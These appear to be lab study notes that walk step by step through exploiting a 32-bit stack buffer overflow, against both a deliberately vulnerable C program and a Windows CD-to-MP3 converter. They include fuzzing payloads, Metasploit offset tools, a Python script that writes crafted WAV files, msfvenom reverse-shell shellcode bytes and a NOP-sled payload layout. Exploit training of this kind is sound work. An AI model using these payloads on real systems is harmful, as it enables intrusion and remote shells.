LINUX

SOURCE

root@sre:~$ nano overwritingEIP.c
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>

 int bowfunc(char *string) {
   char buffer[1024];
   strcpy(buffer, string);
   return 1;
 }

 int main(int argc, char *argv[]) 
 {
   bowfunc(argv[1]);
   printf("Done.\n");
   return 1;
 }
root@sre:~$ sudo apt install gcc-multilib
root@sre:~$ gcc -m32 overwritingEIP.c -o overwritingEIP -fno-stack-protector -z execstack

STEP 1: ISR & BINARY COLLECTION

After performing target enumeration, the focus shifts to identifying whether the system is running outdated, misconfigured, or vulnerable software. Unlike relying solely on public exploits, this phase emphasizes gathering binaries or scripts directly from the target system for detailed offline analysis. Enumerating running processes and installed software is critical, as it helps uncover potential vulnerabilities that may not yet be publicly documented or require tailored exploitation. Tools such as ps aux, top, or htopon Linux, and tasklistor PowerShell cmdlets on Windows, can be used to list active processes and software versions. If source code is unavailable, reverse engineering the binary using tools like Ghidraor IDA Probecomes essential to understand its functionality and identify exploitable weaknesses. This step lays the groundwork for crafting a custom exploittailored to the specific target, rather than relying on generic public exploits.

CUSTOM EXPLOITS

//
root@target:~$ dpkg -l     # Debian/Ubuntu
root@target:~$ rpm -qa     # RHEL/CentOS/Fedora

//
PS C:\> Get-WmiObject -Class Win32_Product
//
root@target:~$ base64 /path/to/binary > binary.b64
root@oco:~$ base64 -d binary.b64 > recovered_binary
root@oco:~$ chmod +x recovered_binary

PUBLIC EXPLOITS

With public exploits, the focus is on determining whether the target system is running software with known vulnerabilities, typically identified by their CVE (Common Vulnerabilities and Exposures) identifiers. Public exploit databases, such as Exploit-DB, Metasploit, or GitHub repositories, serve as valuable resources for locating pre-existing exploit code tailored to these vulnerabilities. However, public exploits often contain intentional errors or incomplete code as a security measure to prevent inexperienced users from directly executing them. This helps mitigate harm to individuals and organizations that may be affected by the vulnerability. To modify and adapt these public exploits, it is crucial to understand how the vulnerability works, identify the specific function or code segment where the vulnerability resides, and determine how to trigger its execution effectively. While public exploits save time and effort, they may require careful analysis and adjustments to adapt to the specific target environment, such as modifying payloads or bypassing basic security mechanisms. This method is particularly effective for quickly exploiting common vulnerabilities while ensuring responsible use.

//

STEP 2: IDENTIFY POTENTIALLY VULNERABLE FUNCTIONS OR UNSAFE CODING PRACTICES IN THE SOURCE

This is required to prevent blind testing with the objective of identifying unsafe functions or poor coding practices. When source code is available, review it directly for insecure functions (e.g., strcpy, gets, scanf without bounds). In the absence of source code, perform static analysis using tools such as Ghidra, IDA Pro, Binary Ninja, objdump -d, or radare2 to locate vulnerable functions, buffer handling routines, and unsafe coding patterns.

//

STEP 3: IDENTIFY THE PROGRAM ARCHITECTURE

This is essential as 32-bit and 64-bit offsets differ, and calling conventions/NX/ASLR behavior vary.

  • In 32-bit binaries saved return address is 4 bytes (EIP). The pattern/gdb approach maps 4-byte chunks directly.

  • In 64-bit binaries saved return address is 8 bytes (RIP). Tools must be aware of 8-byte alignment and you’ll typically use an 8-byte pattern or the same 4-byte pattern but interpret the registers appropriately. Also stack alignment, calling conventions, and NX/ASLR are stricter on x86_64 so you usually need ROP rather than raw shellcode injection.

root@sre:~$ file overwritingEIP | tr "," "\n"
 bow: ELF 32-bit LSB shared object
  Intel 80386
  version 1 (SYSV)
  dynamically linked
  interpreter /lib/ld-linux.so.2
  for GNU/Linux 3.2.0
  BuildID[sha1]=93dda6b77131deecaadf9d207fdd2e70f47e1071
  not stripped

STEP 4: TEMPORARILY DISABLE ASLR & SET DISPLAY SYNTAX

This ensures that memory addresses remain consistent across runs, providing a deterministic debugging environment and to accurately study the program's behavior.

root@sre:~$ sudo su
root@sre:~$ echo 0 > /proc/sys/kernel/randomize_va_space
root@sre:~$ cat /proc/sys/kernel/randomize_va_space
 0
 
root@sre:~$ set disassembly-flavor intel

STEP 5: FUZZING

Fuzzing is often the first step in binary vulnerability discovery. The goal is to supply malformed or unexpected inputs to the program’s parameters, arguments, or input channels (files, network packets, command-line arguments, environment variables, etc.) until the program crashes or behaves abnormally. A successful fuzzing campaign can reveal memory corruption, crashes, or hangs. These anomalies indicate potential vulnerabilities. If the crash occurs in a way that affects program control flow (for example, by overwriting the EIP register in 32-bit binaries), this strongly suggests the presence of a stack-based buffer overflow that may be exploitable.

COMON INPUT FIELDS FOR FUZZING

Prioritize input parameters that nominally accept short values (for example, date fields, country codes, single‑digit flags, or license/registration numbers) because developers often allocate small fixed buffers or implement brittle parsers for them. Also target fields that are passed into specific processing routines (e.g., license validation functions) or that are used after being opened (configuration files, playlist entries) as these are more likely to exercise parsing code and third‑party libraries where flaws reside. Because any program may expose many such parameters, focus first on those with the highest likelihood of overflow or parsing failures and fuzz them with oversized payloads, boundary numeric values, malformed formats, and non‑printable/binary data. Don’t forget to include larger free‑text fields, file uploads, and known risky file types (for example, certain audio or playlist formats - .wav or m3u files) in your scope since vulnerabilities often emerge in the libraries that handle those formats

LICENSE VALIDATION FIELDS

root@sre:~$ python -c "print('A'*10000)"
 AAAAA...SNIP....AAAA
 
//Test program: Free CD to MP3 Converter - Registration Field
Program GUI:
 Registration Code: AAAAA...SNIP....AAAA
 
 * always fuzz other fields that accept a text input using the same above payload to
   see which field will cause the program to crash

OPENED FILES

//Test program: Free CD to MP3 Converter - WAV File import
root@sre:~$ python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"    //1st generate payload
 ...
 
Program GUI:
 File > Encode > Select 'fuzz.wave'
  First chance exception on 41414141...
  
 * Once we open the file, we see that the program crashes, and the debugger pauses with 
   a message saying First chance exception on 41414141
    - This message indicates that the program tried to execute the address 41414141. In 
      ASCII, the upper case A has hex code 0x41, so it looks like the program tried to 
      go to address AAAA, which means that we have successfully changed the EIP address.
  
X64DBG > check the register window on the top-right
 EBP 41414141
 ESP 0014F974 "AAAAA...."
 EIP 41414141
 
 * both EBP and EIP are overwritten. the program also tried to execute the 
   overwritten EIP address

X64DBG > check stack at the bottom-right window
 0014F974 |[41414141|
 0014F978 |[41414141|
 ...
 0014F99C |[41414141| Pointer to SEH_Record[1]
 ...

 * This shows that we are controlling the EIP, so we may exploit this vulnerability to 
   execute the shellcode we write to memory.

 * The program may get paused at some points of the debugging due to breakpoints or 
   INT3 instructions. Simply click on the Run button located at the top bar to 
   continue the execution
   
 //performed on x64dbg
 * To skip breaking on the built in breakpoints, select Options > Preferences > Events, 
   and un-tick everything under Break on. This should stop the program from breaking 
   every time we run it, and will only break when we crash it on an overflow.
 

STEP 6: IDENTIFY EIP OFFSET

In a stack-based buffer overflow, the first objective is to determine the exact offset to EIP, which is the number of bytes required to overwrite the saved return address on the stack. This return address is automatically loaded into the EIP register when a function returns, so by overwriting it, an attacker can redirect the program’s execution flow. EIP itself is not directly writable, but it can be controlled indirectly by overflowing a buffer and reaching the location of the saved return address. To find this offset, a unique non-repeating input pattern is typically used to cause a controlled crash, and the value that ends up in EIP is analyzed to calculate how far into the input the overwrite occurred. Identifying this offset is critical in crafting a reliable exploit, as it allows precise placement of the address or instruction that will be executed when control is transferred.

CREATING UNIQUE NON-REPEATING PATTERNS:

METHOD 1: METASPLOIT

//this method will provide the exact offset of EIP
root@sre:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
root@sre:~$ cat pattern.txt
 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9
 
 * ALT:
    - /usr/bin/msf-pattern_create -l 5000
       Aa0Aa1Aa2...SNIP...3Gk4Gk5Gk

METHOD 2: ERC.XDBG PLUGIN

x64DBG > Log Tab
 Command: ERC --help
  --Pattern
  Generates a non repeating pattern. A pattern of pure ASCII characters can be generated up to 20277 and up to  
  66923 if special characters are used. The offset of a particular string can be found inside the pattern by 
  providing a search string (must be at least 3 chars long).
     Pattern create: ERC --pattern <create | c> <length>
     Pattern offset: ERC --pattern <offset | o> <search string>
    
x64DBG > Log Tab
 Command: ERC --pattern c 5000
  ...

 * the new pattern files will be stored whereever ERC working directory is set
    - e.g., ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\
    - this is the same pattern created by metasploit
    
PS C:\> Get-ChildItem
 Pattern_Create_1.txt

CREATE EXPLOIT

//create payload
PS C:\> .\notepad.exe
 //Windows doesn’t need (and normally ignores) the Unix-style shebang.
 //however, the launcher will respect this
 #! python3

 def eipOffset():
     //use the ASCII output & NOT the HEX output
     payload = bytes("Aa0Aa1Aa2Aa3Aa4Aa5Aa6...Gi3Gi4Gi5Gi6Gi7...", "utf-8")
   
     """this writes the payload to a file"""
     with open('pattern.wav', 'wb') as fileHandler:
         fileHandler.write(payload)
   
 def main() -> None:
     """Program execution entry point"""
     eipOffset()

 if __name__ == "__main__":
     main()
     
NOTEPAD > File
 Save As: win32bof_exploit.py
 Save As Type: All files
 
PS C:\> .\win32bof_exploit.py
 * this will create the wav file which will be used to fuzz the program
 
PS C:\> ls
 pattern.wav

FUZZ APPLICATION

METHOD 1: VIA FIELDS

root@sre:~$ gdb -q ./overwritingEIP
 Reading symbols from ./overwritingEIP...
 (No debugging symbols found in ./overwritingEIP)

(gdb) run $(python -c "print('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9')")
 Starting program: /home/sre/overwritingEIP $(python -c "print('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9')")
 [Thread debugging using libthread_db enabled]
 Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

 Program received signal SIGSEGV, Segmentation fault.
 0x69423569 in ?? ()

(gdb) info registers eip
 eip            0x69423569          0x69423569
 
//calculate the exact number of characters (offset) needed to advance to the EIP.
root@sre:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
 [*] Exact match at offset 1036
 
 * This means that 1036 bytes of input fill the buffer up to the location just below 
   the saved EIP, with the saved EBP occupying the 4 bytes in between. In a 32-bit 
   program, the next 4 bytes after EBP correspond to the saved return address (EIP), 
   which is where a payload can be placed to control program execution. Therefore, a 
   total of 1040 bytes of input is needed to fully overwrite EIP and position any 
   desired payload precisely at that location. This step is critical for reliably 
   controlling program flow in a stack-based buffer overflow.
    - 1040 is the total “space” you have in the stack buffer before you overwrite EIP.

//verify
root@sre:~$ python3 -c "import sys; sys.stdout.buffer.write(b'\x55'*1036 + b'\x66'*4)" > payload.bin
root@sre:~$ ls -l payload.bin
 -rw-r--r-- 1 sre sre 1040 Sep 12 20:14 payload.bin

 * Should reflect 1040 bytes
 * ALT:
      //this alternative may not work - use main method above
    - (gdb) run $(python -c "print('\x55' * 1036 + '\x66') * 4")
    
(gdb) run $(cat payload.bin)
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/htb-ac-53539/overwritingEIP $(cat payload.bin)
 [Thread debugging using libthread_db enabled]
 Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

 Program received signal SIGSEGV, Segmentation fault.
 0x66666666 in ?? ()

 * For 32-bit programs, saved return address is 4 bytes, so once the offset is known:
    - adding 4 more bytes is typically used for verification to fully overwrite EIP .
      with any desired value.
       - This ensures your payload lands exactly where it is required on the stack.

METHOD 2: VIA OPENED FILES

x64DBG > File > Attach
 programName
 
//identify EIP offset
programName > File > wav to mp3
 filename: payload.wav
 
 * click on the restart button in x32dbg to restart our program if the previous 
   input had crashed it
   
x64DBG > cpuTab
   
 EAX 00000000
 EBX 68463967
 ECX 00001388
 EDX 00001388
 EBP 67463567
 ESP 0014F974     "Fh2Fh3Fh4Fh5Fh6Fh7..."
 ESI 46386746
 EDI 37674636
 EIP 31684630
 
 * the EIP register got overwritten with part of the unique pattern

CALCULATE OFFSET

METHOD 1: METASPLOIT

//use the value of EIP to calculate the offset
root@sre:~$ /usr/bin/msf-pattern_offset -q 31684630
 [*] Exact match at offset 4112
 

METHOD 2: ERC.XDBG

x64DBG > LogTab
 right-click on EIP > Modify Value or Enter
 
 * you should see various representations of the EIP value, with ASCII being the 
   last one
    - The hex value found in EIP represents the string 1hF0

x64DBG > LogTab
 command: ERC --pattern o 1hF0
  ERC --Pattern
  -------------------------------------------------
  Value found reversed at position 4112 in pattern.
  -------------------------------------------------

CONTROL EIP

//control eip
root@dev:~$ nano win32bof_exploit.py
 #!/usr/bin/env python3

 def eip_control():
     //create an offset variable with the identified offset
     offset = 4112
     
     //create a buffer variable with a string of A bytes as long as our offset to 
     //fill the buffer space,
     buffer = b"A"*offset
     
     //eip variable with the value we want EIP to be, which we will use as 4 bytes of B
     eip = b"B"*4
     
     //add both to a payload variable and write it to control.wav
     payload = buffer + eip
    
     with open('control.wav', 'wb') as fileHandler:
         fileHandler.write(payload)
   
 def main() -> None:
     """Program execution entry point"""
     eip_control()

 if __name__ == "__main__":
     main()
     
 """ knowing exactly how far EIP is from the start of the buffer (e.g., 4112 bytes), 
     the next 4 bytes would be the one that fills EIP in a 32-bit system
      * on a 64-bit system it must be a multiple of 8 bytes """

x64DBG > File > restart

 EAX 00000000
 EBX 41414141
 ECX 00001014
 EDX 00001014
 EBP 41414141
 ESP 0014F974   &"'`EA'"
 ESI 41414141
 EDI 41414141
 EIP 42424242

 * When our program crashes, we see the hex value 42424242, which is the ASCII 
   representation of BBBB
    - this verifies the exact value (42424242) that goes into EIP
       - the B's can now be swapped with a more meaningful exploit

STEP 7: IDENTIFY USABLE BUFFER SPACE/PAYLOAD PLANNING

The goal of this step is to determine how much of the stack buffer can safely hold the payload. Even if the vulnerable buffer has a fixed size (e.g., 1024 bytes), factors such as stack layout, alignment, and surrounding function behavior can reduce usable space before causing crashes or corruption. Knowing the exact distance between the start of the buffer and the saved return address (EIP) is essential for designing payloads, especially when inserting shellcode that must fit within limited memory. Writing too much data can overwrite critical values, while too little may result in a failed exploit. Accurately calculating usable buffer space is critical for creating reliable and stable exploits.

CALCULATE SHELLCODE SIZE

root@sre:~$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
 No encoder specified, outputting raw payload
 Payload size: 68 bytes
 Final size of c file: 311 bytes
 unsigned char buf[] = 
 "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
 "\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00"
 "\x01\x68\x02\x00\x7a\x69\x89\xe1\xb0\x66\x50\x51\x53\xb3"
 "\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
 "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
 * this particular payload size is about 68 bytes.
    - it's common practice to reserve extra space for future adjustments and alignment
      to accomodate for adding encoders or other modification so the shellcode can grow
      and to have the payload sit nicely on the stack for reliable execution

ADJUSTMENT/ALIGNMENT VALUES

NOPS SLED (\x90):   100 bytes
SHELLCODE:           68 bytes
PADDING/ALIGNMENT:   82 bytes                                     
ACTUAL EIP:           4 bytes
TOTAL EIP OFFSER:  1040 bytes

 * EIP OFFSET is the buffer to saved return address
    - Distance from buffer start to saved return address (1036 bytes ESP→EBP + 4 bytes EIP)
 * NOP SLED (\x90) is padding before shellcode to ensure safe execution
    - 100 bytes of no operation instruction (NOPS) is often inserted before the 
      shellcode so that it can be executed cleanly.
 * SHELLCODE of 68 bytes is the actual payload size
 * PADDING ALIGNMENT is the extra space reserved for future adjustments
    - 82 bytes is used for future adjustment & alignment
 * total is the overall distance to EIP
    - 1040 bytes to reach EIP in this specific 32-bit program
    

STEP 8: VERIFY PAYLOAD SPACE & OFFSET

This step tests and validates the buffer layout to ensure the shellcode can fit safely and that the calculated offsets align correctly with the saved return address (EIP). Instead of the actual shellcode, a test pattern is injected to confirm that the offsets, NOP sled, and shellcode placement are correct. This approach helps verify that there is sufficient usable buffer space and that the shellcode will execute reliably when inserted.

FORMULA

FILL=OFFSETNOPSHELLEIPFILL = OFFSET - NOP - SHELL - EIP
FILL = OFFSET - NOP - SHELL - EIP
FILL = 1040   - 100 - 150   - 4   =  786

PAYLOAD LAYOUT: \x55" * FILL + "\x90" * NOP + "\x44" * SHELL + "\x66" * EIP
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4)')
 * ALT:
    - run $(python -c 'print("\x55" * 786 + "\x90" * 100 + "\x44" * 150 + "\x66" * 4)')

 * OFFSET — bytes from buffer start to saved return address (EIP). (In your case: 1040)
   NOP — size of your NOP sled (e.g., 100)
   SHELL — size reserved for shellcode (placeholder length, e.g., 150)
   EIP — size of return address overwrite (typically 4 for 32-bit)
   FILL — filler bytes (\x55) to reach the start of the NOP sled

root@sre:~$ gdb -q ./overwritingEIP

(gdb) run $(python -c 'print("\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4)')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y

 Starting program: /home/student/bow/bow32 $(python -c 'print("\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4)')
 Program received signal SIGSEGV, Segmentation fault.
 0x66666666 in ?? ()

STEP 9: IDENTIFY BAD CHARACTERS

Bad characters can vary between programs and contexts because each program, library, protocol, or transport layer treats certain bytes specially. Some bytes terminate strings (for example, \x00 in C), others mark line endings (\x0A and \x0D), some are parsed as control or meta characters by shells, HTTP servers, or terminals, and intermediary systems such as proxies, CDNs, or libraries may normalize, filter, or reinterpret bytes through UTF-16 or Unicode handling, percent-encoding, or protocol framing. The exact input channel (argv, stdin, socket, or file), the APIs the target uses, any middleware, and protocol rules all influence which bytes are removed, transformed, or misinterpreted. Therefore always test for bad characters against the specific target and channel.

Common Bad Characters

GENERATE CHARACTER LIST

root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

//calculate the number of chars variable
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
 256
 
 * the string is 256 bytes long. 
    - the buffer MUST be recalculated to accomodate this

RECALCULATE BUFFER

FILL=OFFSETCHARSLENEIPSIZEFILL = OFFSET - CHARSLEN - EIPSIZE
Buffer = "\x55" * (1040 - 256 - 4) = 780
 CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
   EIP = "\x66" * 4

PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')

PERFORM DEBUGGING & ANALYSIS

root@sre:~$ gdb -q ./filename
 ...
 
(gdb) info functions 
 All defined functions:

 Non-debugging symbols:
 ...
 0x0000054d  bowfunc
 0x00000582  main
 ...
 
(gdb) disas main
 Dump of assembler code for function main:
   0x56555582 <+0>: 	lea    ecx,[esp+0x4]
   0x56555586 <+4>: 	and    esp,0xfffffff0
   0x56555589 <+7>: 	push   DWORD PTR [ecx-0x4]
   0x5655558c <+10>:	push   ebp
   0x5655558d <+11>:	mov    ebp,esp
   0x5655558f <+13>:	push   ebx
   0x56555590 <+14>:	push   ecx
   0x56555591 <+15>:	call   0x56555450 <__x86.get_pc_thunk.bx>
   0x56555596 <+20>:	add    ebx,0x1a3e
   0x5655559c <+26>:	mov    eax,ecx
   0x5655559e <+28>:	mov    eax,DWORD PTR [eax+0x4]
   0x565555a1 <+31>:	add    eax,0x4
